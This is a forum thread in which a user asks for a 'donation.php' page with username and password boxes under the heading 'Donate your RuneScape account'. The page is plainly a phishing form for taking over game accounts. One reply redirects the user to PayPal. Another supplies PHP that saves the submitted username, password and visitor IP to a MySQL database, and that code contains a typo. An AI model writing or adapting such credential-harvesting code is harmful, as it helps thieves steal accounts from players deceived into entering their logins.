[REQ] A donation.php .

Junior Spellweaver
Joined
Jun 9, 2007
Messages
153
Reaction score
1
Hey guys .

I need help , could someone code me a donation.php ?

It'll be kinda easy , ontop it'll say 'Donate your RuneScape account'
and below will be 2 boxes, one for Username and another for Password , and a 'Donate!' button (It's all in the middle) .

Could someone help me with this ?:phone: .
 
That's just it there is no request section lol
The purpose of the section is to get help with snippets and problems, not (necessarily) to ask for scripts when you haven't posted any work.
It's not a dump and help either =)

Indeed, we will not just give code, but for donations you dont need to write it yourself. Paypal has a script to let people donate to your account.
 
You want people to donate their RS account, so you want a simple just to save the account user and pass when the person click submit? Or something like that?
It's pretty easy to write if that what you're looking for.
 
Here I'll write a script in this window
PHP:
<?php
$con = mysql_connect('localhost','root','pass');
mysql_select_db(database_name,$con);
$user = $_POST['username'];
$pass = $_POST['password'];
$query = sprintf("INSERT INTO table (username,password,ip) VALUES ('%s','%s','%s')",mysql_real_escape_string($user),mysql_real_escape_string($pass),mysql_real_escape_string($SERVER['REMOTE_ADDR']));
if(mysql_query($query))
  die("Thanks submitted");
else
  die("Insert failure");
?>
There might work might not, I wrote it in this window lol
Despite it not being a request section, I felt generous.
Just set your form action to go to a page with that one it and make sure you have your parameters and variables named right.
 
Back